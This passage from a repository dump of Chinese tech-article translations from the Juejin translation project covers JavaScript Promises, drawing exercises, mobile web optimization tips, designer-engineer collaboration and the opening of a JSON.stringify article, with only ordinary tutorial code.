setTimeout(function(){\n          resolve(true)\n      },300)\n  })\n}\n\nlet content = 'some content'\nPromise.all([verify1(content),verify2(content),verify3(content)]).then(result=>{\n  // 用户上传的内容已通过验证并可以发布。\n}).catch(err => {\n  // 用户上传的内容没有通过验证，并且不能发布。\n})\n```\n\n## Promise.race\n\n`Promise.race` 的参数与 `Promise.all` 相同，可以是一个 Promise 数组或一个可迭代的对象。\n\n`Promise.race()` 方法返回一个 Promise 对象，一旦迭代器中的某个 Promise 为 fulfilled 或 rejected 状态，就会返回结果或者错误信息。\n\n#### 4. 定时功能\n\n当我们从后端服务器异步请求资源时，通常会限制时间。如果在指定时间内未接收到任何数据，则将引发异常。\n\n思考一下，你会怎么实现这个功能？Promise.race 可以帮我们解决这个问题。\n\n```JavaScript\nfunction requestImg(){\n    var p = new Promise(function(resolve, reject){\n        var img = new Image();\n        img.onload = function(){\n           resolve(img);\n        }\n        img.src = \"https://www.example.com/a.png\";\n    });\n    return p;\n}\n\n// 定时功能的延迟函数\nfunction timeout(){\n    var p = new Promise(function(resolve, reject){\n        setTimeout(function(){\n            reject('Picture request timeout');\n        }, 5000);\n    });\n    return p;\n}\n\nPromise\n.race([requestImg(), timeout()])\n.then(function(results){\n    // 该资源请求在指定时间内完成\n    console.log(results);\n})\n.catch(function(reason){\n    // 该资源请求被在指定时间内没有完成\n    console.log(reason);\n});\n\n```\n\n## Promise.then\n\n我们知道 `promise.then()` 总返回一个 Promise 对象，因此 `promise.then` 支持链式调用。\n\n```js\nPromise.then().then().then()\n```\n\n#### 5. Promise 链\n\n因此，如果接口返回的数据量很大，并且其中一个接口的处理似乎过于庞大，我们可以考虑在多个 then 方法中依次访问处理逻辑并执行：\n\n```JavaScript\n// 假设这是后端返回的数据\nlet result = {\n    bannerList:[\n      //...\n    ],\n    storeList:[\n      //...\n    ],\n    categoryList:[\n      //...\n    ],\n    //...\n}\n\nfunction getInfo(){\n    return new Promise((resolve,reject)=>{\n        setTimeout(()=>{\n            resolve(result)\n        },500)\n    })\n}\n\ngetInfo().then(res=>{\n\n    let { bannerList } = res\n\n    // 使用 bannerList 进行操作\n    console.log(bannerList)\n\n    // 为下一个 then 方法返回 res \n    return res\n\n}).then(res=>{\n    let { storeList } = res\n    console.log(storeList)\n    return res\n\n}).then(res=>{\n    let { categoryList } = res\n    console.log(categoryList)\n    return res\n})\n```\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-more-drawing-exercises.md",
    "content": "> * 原文地址：[5 more drawing exercises on the difference between seeing and knowing](https://medium.com/personal-growth/5-more-drawing-exercises-9c0df4645387)\n> * 原文作者：[Ralph Ammer](https://medium.com/@ralphammer?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-more-drawing-exercises.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-more-drawing-exercises.md)\n> * 译者：[Ruixi](https://github.com/Ruixi)\n> * 校对者：[diliburong](https://github.com/diliburong)\n\n# 另外 5 种关于视觉和认知间差异的绘画练习\n\n> 本文是本系列文章的第二篇，第一篇请见：[绘图技巧的快速入门\n6 个绘图练习，让你立即上手！](https://github.com/xitu/gold-miner/blob/f57f636bd20e9b3aa0d423435e98e5b556a49b71/TODO1/a-quick-beginners-guide-to-drawing.md)\n\n![](https://cdn-images-1.medium.com/max/800/1*8NDD5zLkYppl5BFoFfVrcg.gif)\n\n下面的练习方法要比《[绘图技巧的快速入门](https://medium.com/personal-growth/a-quick-beginners-guide-to-drawing-58213877715e)》中的**更完善一点**，希望你们可以感受到同样的乐趣！\n\n我们将着眼于各个方面的**观察**来**加强我们的视觉思维**。\n\n## 练习 1：负空间——见有于无之中\n\n> **在元素之间构建空间！**\n\n![](https://cdn-images-1.medium.com/max/800/1*BcBbHjBYf1Y0LzPcyjxW-A.gif)\n\n看到你的马克杯把手的那个”洞“，你手中握着的那个奇葩的图形了吗？环顾四周，找到元素间**虚的部分**。就在你手头的纸上随便画随便排，想怎么画都成。\n\n![](https://cdn-images-1.medium.com/max/800/1*knCfDWbzlVcc25wIajBgBQ.gif)\n\n我们很容易看到并画出已为我们所知的：这是一辆汽车，这是一栋房子，这是我的猫，等等。我们对于辨认事物的侧重，使我们对它们的外轮廓视而不见。而当我们专注于物体**之间**是什么形状时，则是在欺骗自己的感知来**看到目标的轮廓**。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*rNaa_2y4QJir89_9HG1N4w.gif)\n\n小贴士：字体设计师们明白负空间的重要性。多多留意在字母之间的空间，才能更加凸显字体的特点！\n\n## 练习 2：动态线——见动于静之中\n\n> **画出静物的动态！**\n\n![](https://cdn-images-1.medium.com/max/800/1*rs2qFH96L-E7dsILahV80w.gif)\n\n这个练习中，我们可以通过速写捕捉到**物体的动态**：\n\n![](https://cdn-images-1.medium.com/max/800/1*Pk0GI59VC53CVyvmVBiX4Q.gif)\n\n左边的轮廓告诉我们“这是什么”，而右侧的**动态线**则告诉我们**它的状态**”。\n\n![](https://cdn-images-1.medium.com/max/800/1*w68p3V-bV_fsaazAXZvLZg.gif)\n\n当你绘制人物时，就算他们静止不动，给观者以富于动感和**肢体控制力**的体验也是殊为重要的。\n\n在场景中对**特征性动作**的观察与传达会使你的画作栩栩如生。他们是**图画中的旋律**。\n\n小贴士：请**快速而小心**地进行动态线条的练习！它们是**短时间内的集中爆发**。\n\n注：有的人喜欢把这类图画称为“示意图”。我更喜欢用“动态”来称呼它。因为它完全就是对主体动态的描述。\n\n## 练习 3：近大远小——见透视于空间之中\n\n> **找一个盒子，找到它的消失线并且画出来！**\n\n![](https://cdn-images-1.medium.com/max/800/1*1l5OWqIxR9TQS6YUNVn9gA.gif)\n\n在《[快速入门](https://medium.com/personal-growth/a-quick-beginners-guide-to-drawing-58213877715e)》中，我们**构建**了一个立方体。地平线定义了我们的视高。在灭点的帮助下，我们绘制出了两侧略有缩减的效果。\n\n![](https://cdn-images-1.medium.com/max/800/1*bFTDdSIT5K0koXaa-c35eg.gif)\n\n这回我们换个方法：**我们探寻一下在立体图形中的斜线**。\n\n找一个立方体物体，观察盒子形状的透视变化。**慢慢来～看！**看到线条是如何伸展到灭点的了吗？\n\n![](https://cdn-images-1.medium.com/max/800/1*Uvlvz7PDyTD6xcUZAMGIQw.gif)\n\n现在画下物体的**线框**！你不用非得去定义地平线或者灭点什么的。自己给估个差不离的位置，然后让线条适当地聚拢就可以了。再找些大小不一的立方体物体，多画画吧！\n\n![](https://cdn-images-1.medium.com/max/800/1*4Fu6cFFfpTQ0rltcCTcKuw.gif)\n\n## 练习 4：比例——见平于不平之中\n\n> **画个窗子——你都看到了外面的什么！**\n\n![](https://cdn-images-1.medium.com/max/800/1*kleqsKsJCSfkS6bpeUqMuw.gif)\n\n“比例”这个词描述的是**尺寸间的关系**。它有助于在提笔之前解决我们弄不清远近不同的物体之间的尺寸比对的难题。\n\n远处的物体看上去会更小。我们已经明白了在我们比对尺寸的时候需要考虑距离的因素。\n\n![](https://cdn-images-1.medium.com/max/800/1*BQ3-uCbITyvhSmFZS5WbEg.gif)\n\n我们实际看到的大小和我们所知道的大小是有区别的。下方这些“视错觉”**演示我们的感知力**。我们的大脑从几条斜线中得到线索，构造一个虚拟空间并进行“计算”，在这个空间里，右边的那个人肯定高点：\n\n![](https://cdn-images-1.medium.com/max/800/1*sziDSDPlZXLktfu5VjB4ww.gif)\n\n这种补偿机制在我们的日常生活中非常有用。但它也让我们在绘图时很难估测需要的尺寸。为了得到正确的“纸上”大小，我们必须**忽略我们所知道的大小，并画出我们所看到的大小**。我们知道，远处的人（实际上）并不小，但我们需要在纸上画得更小一些。\n\n![](https://cdn-images-1.medium.com/max/800/1*OmS1Ft0X1eXAOEdoM1L5tA.gif)\n\n这里有一些技巧可以克服这些令人心烦意乱的现象，实现“看平”。其中之一是将手放在与眼睛保持恒定距离的地方**并用笔测量“平面”尺寸**。\n\n![](https://cdn-images-1.medium.com/max/800/1*Yife9sf_I7z39lz4ioJX3g.gif)\n\n另一个办法是框住视野。它有助于让我们看到自己要绘制的平面图画，**估测“纸上”的尺寸**，并**进行适当对比**。\n\n![](https://cdn-images-1.medium.com/max/800/1*qE8X1Ev19ZggIlBIcHxKdA.gif)\n\n我建议你通过一个窗框来看世界。窗框可以作为**示例**来参考，框住的画面中的树或者房子有多高。\n\n## 练习 5：深度——见秩序于重叠之中\n\n> **画株植物！**\n\n![](https://cdn-images-1.medium.com/max/800/1*mNhkP2Tty9WtrVK0a1VT1w.gif)\n\n很少有能比得上在大自然中静静地画上几个小时的植物的乐趣。也很少有需要我们如此专注的时候。我们需要全神贯注，避免陷入平庸的象征性表达。\n\n![](https://cdn-images-1.medium.com/max/800/1*sLpTjiAxJNXNb9TEI0BZ7Q.png)\n\n当然，有时候大自然的复杂性也是要人老命。我建议你只选一个植物的小细节，从一片叶子开始，然后完成剩下的部分。从这一片，再到下一片。当你画一个叶子或梗的时候，务必要**考虑它整体的形态，即便是模糊不清的地方**。重叠会产生一种非常棒的纵深感。\n\n![](https://cdn-images-1.medium.com/max/800/1*s8b6vL8d6bHL7T3V561d0A.gif)\n\n我们尽可能想要准确地进行描绘的同时，也要牢牢记住：**绘画是抽象的表达**。就像一个好故事必须是可信的，但并不总是准确的。所以，当图形以不明确的方式重叠时，为观者理清这些模糊的存在是个不错的办法。\n\n![](https://cdn-images-1.medium.com/max/800/1*h_oa1gOAAmgDra1OWm1quw.png)\n\n这种使层次分明的力量可能是绘画相对照片的最大优势之一。\n\n## 跳出“符号陷阱”\n\n这些练习的目的是**把我们的认知从辨识物体转变为观察形状**。如果你想知道为什么这项技能对创造性思维至关重要，请移步《[看 VS 读](https://medium.com/personal-growth/seeing-vs-reading-29365d4540e2)》。\n\n## 有玩得开心吗？\n\n我很好奇你最喜欢哪种练习方式，以及为什么。你在努力提升绘画的哪个方面？在下一组练习中，我应该涵盖什么主题？ **尽请在下方留言！**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-optimization-tips-for-your-mobile-web-app-for-higher-user-retention.md",
    "content": "> * 原文地址：[5 optimization tips for your mobile web app for higher user retention](https://levelup.gitconnected.com/5-optimization-tips-for-your-mobile-web-app-for-higher-user-retention-3d6d158aadb7)\n> * 原文作者：[Axel Wittmann](https://medium.com/@axelcwittmann)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-optimization-tips-for-your-mobile-web-app-for-higher-user-retention.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-optimization-tips-for-your-mobile-web-app-for-higher-user-retention.md)\n> * 译者：[Roc](https://github.com/QinRoc)\n> * 校对者：[niayyy](https://github.com/niayyy-S)，[Freya Yu](https://github.com/ZiXYu)\n\n# 5 个优化技巧助你提高移动 Web 应用的用户留存率\n\n![Photo by [Jaelynn Castillo](https://unsplash.com/@jaelynnalexis?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/9310/0*Cj9Dw7l2u-wSTCqK)\n\n> 除了 CSS 样式优化，还可以使用其它的优化方式来增大你的移动网站对移动用户的吸引力。\n\n在 2020 年的互联网流量中，移动端和桌面端各占半壁江山。Google 在索引页面时，会根据网站的移动版本来确定网站排名。相当多的年轻用户甚至不再使用桌面设备。\n\n上述三个事实说明了为什么现在针对移动端访问来优化网站比以往任何时候都重要。更重要的是：移动用户更挑剔，而且潜意识里更容易被移动设备上的 UX（用户体验）问题惹恼。如果你的网站在移动设备上的展示存在问题，那么很可能会影响到移动用户的留存率。\n\n除了为 600 px 宽度以下的设备使用不同的 CSS 样式外，这里还有一些技巧可以优化你的移动网站。\n\n## 1. 去除移动端的阴影点击效果\n\n原生应用没有这些效果，移动浏览器却有。使用 Safari 或 Chrome 等浏览器的用户在点击任何按钮或任何可点击的对象（例如图标）时，会看到阴影点击效果。\n\n`\\<div>`， `\\<button>` 或其它元素在被点击时，在它的下面会出现一个短暂的阴影效果。这种效果会为用户提供这样的反馈：点击了某些东西后，某个事件应该发生。对于网站上的大量交互而言，这很有意义。\n\n但是，如果你的网站已经做了充分的响应并包含了加载数据的效果呢？或者你使用了 Angular，React 或 Vue，并且很多 UX 交互是瞬时的呢？这些情况下，这种阴影点击效果可能会妨碍用户体验。\n\n你可以在样式表中使用以下代码来移除这种阴影点击效果。请放心，即使你将其添加到全局样式中，它也不会破坏其它任何内容。\n\n```css\n* {\n  /*阻止移动端标签突出显示点击的问题*/\n    -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n    -moz-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n```\n\n## 2. 使用 user-agent 来检测用户是否来自移动设备\n\n我不是说要在宽度小于 600 px 的设备上放弃样式表中特定的 `@media` 代码。恰恰相反。你应该经常使用样式表来让你的网页对移动端更友好。\n\n然而，当你想要根据用户是否在移动设备上来显示额外的效果呢？你想把这个放到你的 JavaScript 函数中，同时不想它随着用户横向使用手机（这会使宽度增加到超过 600 px）而改变。\n\n对于这些场景，我的建议是使用一个全局访问的辅助函数，基于浏览器的 user-agent 来确定用户的设备是否是一个移动设备。\n\n```js\n$_HelperFunctions_deviceIsMobile: function() {\n  if (/Mobi/i.test(navigator.userAgent)) {\n     return true;\n  } else\n     {return false;\n  }\n}\n```\n\n![Photo by [Holger Link](https://unsplash.com/@photoholgic?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com?utm_source=medium&utm_medium=referral)](https://cdn-images-1.medium.com/max/6716/0*qYl5LnaPjGjQqXfp)\n\n## 3. 加载较大图片的移动版本\n\n如果你在项目中使用了大图片，并且想要确保移动用户仍然可以接受图片的加载时间，那么需要根据设备的不同来加载图片的不同版本。\n\n这个功能甚至不需要使用 JavaScript（当然你也可以用 JavaScript）。这种策略的 CSS 版本实现代码如下所示。\n\n```html\n<!-- ===== 文件的较大版本 ========== -->\n<div class=\"generalcontainer nomobile\">\n    <div class=\"aboutus-picture\" id=\"blend-in-cover\" v-bind:style=\"{ 'background-image': 'url(' + image1 + ')' }\"></div>\n</div>\n\n<!-- ===== 文件的移动版本 ========== -->\n<div class=\"generalcontainer mobile-only\">\n    <div class=\"aboutus-picture\" id=\"blend-in-cover\" v-bind:style=\"{ 'background-image': 'url(' + image1-mobile + ')' }\"></div>\n</div>\n```\n\n在你的 CSS 文件中定义 `mobile-only` 和 `nomobile` 类选择器。\n\n```css\n.mobile-only {   display: none; }\n\n@media (max-width: 599px) {\n  ...\n  .nomobile {display: none;}\n  .mobile-only {display: initial;}\n}\n```\n\n## 4. 尝试无限滚动和懒加载数据\n\n如果你有一些长列表，比如包含几十或数百的用户或者任务，那么当用户向下滚动的时候，你应该考虑懒加载更多信息，而不是展示一个`加载更多`或者`展示更多`的按钮。原生应用通常包括了这样的懒加载的无限滚动功能。\n\n在移动网页中，使用 JavaScript 框架不难实现这个功能。\n\n你可以把一个参照（$ref）添加到网页模板的一个元素上，或者简单地绑定到窗口的绝对滚动位置。\n\n下面的代码演示了如何在一个 Vue 应用中实现这个效果。相似的代码可以添加到其它的框架中，比如 Angular 或者 React。\n\n```js\nmounted() {\n  this.$nextTick(function() {\n     window.addEventListener('scroll', this.onScroll);\n     this.onScroll(); // needed for initial loading on page\n  });\n},\nbeforeDestroy() {\n   window.removeEventListener('scroll', this.onScroll);\n}\n```\n\nonScroll 函数会在用户滚动到某个元素或者页面底部时加载数据。\n\n```js\nonScroll() {\n   var users = this.$refs[\"users\"];\n   if (users) {\n      var marginTopUsers = usersHeading.getBoundingClientRect().top;\n      var innerHeight = window.innerHeight;\n      if ((marginTopUsers - innerHeight) < 0) {\n          this.loadMoreUsersFromAPI();\n      }\n   }\n}\n```\n\n## 5. 用全屏宽度或者全屏幕展示弹出框和弹出窗口\n\n移动端的屏幕空间有限。有时开发者会忘记这种限制，使用和桌面版一样的交互界面。特别是当弹出窗口未能正确实现时，移动用户会不喜欢。\n\n弹出窗口是一个放置在页面中其它内容的顶层的窗口。对于桌面用户来说，它们可以很好地工作。在用户决定不执行弹窗所建议的操作时，常常想要点击背景内容来离开这个弹窗。\n\n![](https://cdn-images-1.medium.com/max/4816/1*J7cegVnnZMO7zl6uv357tA.png)\n\n![](https://cdn-images-1.medium.com/max/3912/1*6tVjltC9faX0gnRT25xKaQ.png)\n\n网站和弹窗在移动端的使用是一个不同的挑战。受限于有限的屏幕空间，具有优秀设计的移动端 Web 应用程序的大公司，比如 YouTube 或者 Instagram，会把弹窗进行全屏宽度或者全屏幕展示，并在弹窗的顶部放置一个“X”来关闭它。\n\n这是注册弹窗的一个典型案例，它的桌面版本是一个普通的弹窗，而移动版本则全屏幕展示。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-rules-for-designer-engineer-collaboration.md",
    "content": "> * 原文地址：[5-rules-for-designer-engineer-collaboration: Tips to Improve Quality and Productivity](https://medium.com/tradecraft-traction/5-rules-for-designer-engineer-collaboration-182fd74bd09f?ref=uxdesignweekly)\n> * 原文作者：[Andrew Yang](https://medium.com/@andrew.yang804?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-rules-for-designer-engineer-collaboration.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-rules-for-designer-engineer-collaboration.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[PokerF](https://github.com/PokerF)、[NoName4Me](https://github.com/NoName4Me)\n\n# 设计师与工程师协作的 5 项准则\n\n## 提高质量与生产率的小贴士\n\n![](https://cdn-images-1.medium.com/max/800/1*hNscHHl45Q6s3dARFiaw0A.jpeg)\n\n设计师 vs 工程师，源于 [society6](https://society6.com/)。\n\n设计师和工程师被看作是完全相反的。设计师被描绘成敏感的创造者，工程师被描绘成冷酷的后勤人员。然而，作为一名前软件工程师出身的产品设计师，我认为这些对立面**可以**在工作场所中有效地协同工作。只要多了解一下对方的角色，设计师和工程师之间的关系就会大大改善。以下是设计师在与工程师一起工作时应遵循的五条一般准则，其次是从工程师的角度来看的另外五条准则。\n\n### 给设计师的 5 项准则\n\n![](https://cdn-images-1.medium.com/max/800/1*RlD_EebvaZt--pxPDmc0rQ.jpeg)\n\n图片来自 [Upslash](https://unsplash.com)，作者 [William Iven](https://unsplash.com/@firmbee)。\n\n#### 1）避免自定义样式\n\n实际上，所有前端工程团队都使用某种类型的库或 CSS 框架来实现跨应用程序使用的样式。这些库通常包含一些通用样式，如预定义的边距、颜色和其他类，这些工具是工程师用来使开发更快速、更一致的。这意味着，如果您决定添加自定义页边距、字体大小或组件，工程师必须从头开始编写自定义 CSS 以覆盖基本样式。偶尔这样也不错，但很快就会变得单调乏味了。仅在特殊场合或绝对必要时保存这些自定义样式。毕竟，在一个框架内设计可以简化我们的许多决策，这往往是好事。\n\n#### 2）尽早与工程师沟通\n\n让我们现实一点，除非您正在为一个初创公司工作，或者您是工程副总裁，否则工程师们不会得到多少产品的发言权。设定产品愿景在一定程度上通常取决于高管、产品经理和产品设计人员。然而，即使工程师在设计方面没有太多投入,他们仍然**感觉**正如他们自己在设计一样。当您和产品经理开会时，请一位工程主管参加。此外，与您的工程团队一起设置一些设计评审来检查您的设计。向他们解释您做出设计决定的原因，并征求他们的反馈。如果工程师觉得他们对设计过程做出了贡献，他们在实现设计时自然会更加用心。\n\n#### 3）听取工程反馈\n\n信不信由你，工程师通常都是相当不错的设计师。特别是在 UX（译者注：用户体验） 方面，我曾和许多有很强设计意识的工程师一起工作过。这些工程师想要被倾听，他们的反馈是非常有价值的，而且往往是准确的。当你信任的工程师针对你的设计给你反馈时，倾听。更好的方法是，拿出笔记本并记下他们的想法，让他们知道你在听。你不必使用所有的想法，但要给予他们应有的尊重，有些建议是一定要坚持的。\n\n**当然，并非所有来自工程师的设计反馈都是好的。以怀疑又开放的心态来对待它，你总会有所得，而且又有谁不喜欢被聆听呢**。\n\n#### 4）了解基础的 HTML/CSS/JS\n\n![](https://cdn-images-1.medium.com/max/800/1*uL5yjFLIeRYvmZR9w3mLHg.png)\n\n当我还是 [SalesforceIQ](https://www.linkedin.com/company/salesforceiq/) 的软件工程师时，和我一起工作过的最好的设计师之一可以和我一起直接进入 Web 检查器，并在控制台中直接使用 HTML/CSS 快速原型。作为一名工程师，知道与你一起工作的设计师理解你正在使用的技术，并且在设计时考虑到这些限制，这是令人难以置信的安心。要成为一名优秀的产品设计师，完全没有必要拥有完整的前端开发技能，但一些基本的前端知识会发挥很大作用。获得您最亲密的同伴的尊重 -- 学习一些代码。\n\n#### 5）批量小修正\n\n[心流](https://en.wikipedia.org/wiki/Flow_%28psychology%29)是工程师最有生产力的一种状态 -- 它在很大程度上意味着『在区域内』。工程师需要大量不间断的时间才能实现流程。这就是为什么会议最好安排在一天的开始或结束，而不断的干扰是工程师生存的祸根。是的，这意味着你今天早上洗澡时想要用更深的蓝色来做按钮的想法可以暂时搁置。设计是一个迭代的过程，产品无疑会不断的变化。然而，在向工程师询问之前，先让这些小的变化积累起来。例如，在接近工程师进行修复之前，设置五个小的更改的基线。没有什么比打破他们的流程更让工程师烦恼的了（仅仅改变按钮的颜色七次）。\n\n* * *\n\n### 给工程师的 5 项准则\n\n![](https://cdn-images-1.medium.com/max/800/1*h-pctC-YtNZT8Os_pb8BxA.jpeg)\n\n[William Iven](https://unsplash.com/@firmbee) 通过 [Upslash](https://unsplash.com) 拍摄。\n\n#### 1）理解用例 \n\n作为一名工程师，您有大量权力可以用指尖进行创造，而且它真的很容易用代码实现。然而，巨大的权力带来了巨大的责任。退一步说，了解您正在构建的产品或特性的『原因』。去和您的产品经理和产品设计师谈谈。理解为什么要构建这个特性，以及为什么它是按照这样的方式设计的。没有这种洞察力，你的工作只是作用在产品边缘。另外，通过对产品的理解，您将能够在实现中考虑所有不同的用例和边缘案例，并将您的代码水平提升到下一个层次。 \n\n#### 2）先实现 UX\n\n在敏捷环境中，设计是基于用户测试和反馈不断迭代的。您昨天刻意实现的一个具有5个像素的 border-radius 和 box-shadow 蓝色按钮而现在却是一个有着平面设计和尖锐边缘的绿色按钮。搞砸了。但是，不要气馁：接受这是产品开发过程的一部分。首先实现 UX - 设计的流程、功能和总体布局。获得整体效果，但不要疯狂于像素的完美实现。一旦设计经历了更多的迭代测试并且版本稳定下来后，栩栩如生的元素会逐渐融入其中。。 \n\n#### 3）回退\n\n![](https://cdn-images-1.medium.com/max/800/1*595UUrTLxUioKqL6TjMaTg.gif)\n\n还记得上次设计师要求您实现一个改变颜色并每隔一分钟翻转一次的自定义组件吗？是的，别那么做。设计是双向的行为。不要害怕回退，给出技术约束和限制的反馈。在大多数情况下，即使是最好的设计人员也不会拥有您的技术能力或对系统的理解。然而，与其一味地说“这是不可能做到的”，不如提供一个替代的解决方案。试试看，“这个解决方案的实现成本很高，我可以建议您使用…吗？”。请记住，大多数事情都**可以**用我们现有的工具来完成，但这并不意味着所有的事情都**应该**完成。作为工程师，你的工作就是帮助设计师找到最好、最经济有效的解决方案。\n\n#### 4）与设计师保持联系\n\n沟通确实是本文的主题。 在您实现设计时，务必始终向设计师展示您的进度。 设计师喜欢看到他们的作品变得栩栩如生，所以对每个人来说这真是一件有趣的事情。 让设计师及时了解您的进展情况将有助于确保您的实现符合预期，并且不会出现任何意外情况。 这也是一个很好的机会向设计师询问任何关于设计或未来任务的问题。\n\n#### 5）填补空白\n\n在实现设计时，总会有一些地方需要您用自己的最佳判断来填补空白。您实现的设计不会完全类似于交给您的设计 --  这只是底线。您肯定有遇到过这样的情况：您觉得在某些屏幕上需要更大的外边距，或者在实际应用程序中某个特定的颜色看起来不太合适。不要每次都带着问题去找设计师。把你的设计师帽子戴上，告诉自己你有解决它们的能力。你有这个本事。\n\n**但也不要太过疯狂，做重大决定的时候记得要和你的设计师沟通。用您最好的判断力 :)**\n\n* * *\n\n现在你明白了吧！这是我为设计师和工程师改善他们工作时的协作而编写的 5 项准则。这些准则都是完全主观的，来自以前我作为软件工程师时的经验，以及现在我作为产品设计师的经验。请告诉我，您是否同意我的观点，这样我们好在下面继续讨论！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/5-secret-features-of-json-stringify.md",
    "content": "> * 原文地址：[5 Secret features of JSON.stringify()](https://medium.com/javascript-in-plain-english/5-secret-features-of-json-stringify-c699340f9f27)\n> * 原文作者：[Prateek Singh](https://medium.com/@prateeksingh_31398)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/5-secret-features-of-json-stringify.md](https://github.com/xitu/gold-miner/blob/master/TODO1/5-secret-features-of-json-stringify.md)\n> * 译者：[zoomdong](https://github.com/fireairforce)\n> * 校对者：[Long Xiong](https://github.com/xionglong58), [niayyy](https://github.com/niayyy-S)\n\n# JSON.stringify() 的 5 个秘密特性\n\n![Credits: [Kirmeli.com](https://www.google.com/url?sa=i&url=https%3A%2F%2Fahmedalkiremli.com%2Fwhy-to-learn-what-to-learn-and-how-to-learn%2F&psig=AOvVaw3IGik44VGBXe661UZsW5Mh&ust=1581750442478000&source=images&cd=vfe&ved=0CAMQjB1qFwoTCMj-5Oi90OcCFQAAAAAdAAAAABAR)](https://cdn-images-1.medium.com/max/2000/1*aQy1TrGzC_n_UC0j9hXBbw.jpeg)\n\n> JSON.stringify() 方法能将一个 JavaScript 对象或值转换成一个 JSON 字符串。\n\n作为一名 JavaScript 开发人员，`JSON.stringify()` 是用于调试的最常见函数。但是它的作用是什么呢，难道我们不能使用 `console.log()` 来做同样的事情吗？让我们试一试。\n\n```js\n//初始化一个 user 对象\nconst user = {\n \"name\" : \"Prateek Singh\",\n \"age\" : 26\n}\n\nconsole.log(user);\n\n// 结果\n// [object Object]\n```\n\n哦！`console.log()` 没有帮助我们打印出期望的结果。它输出 `**[object 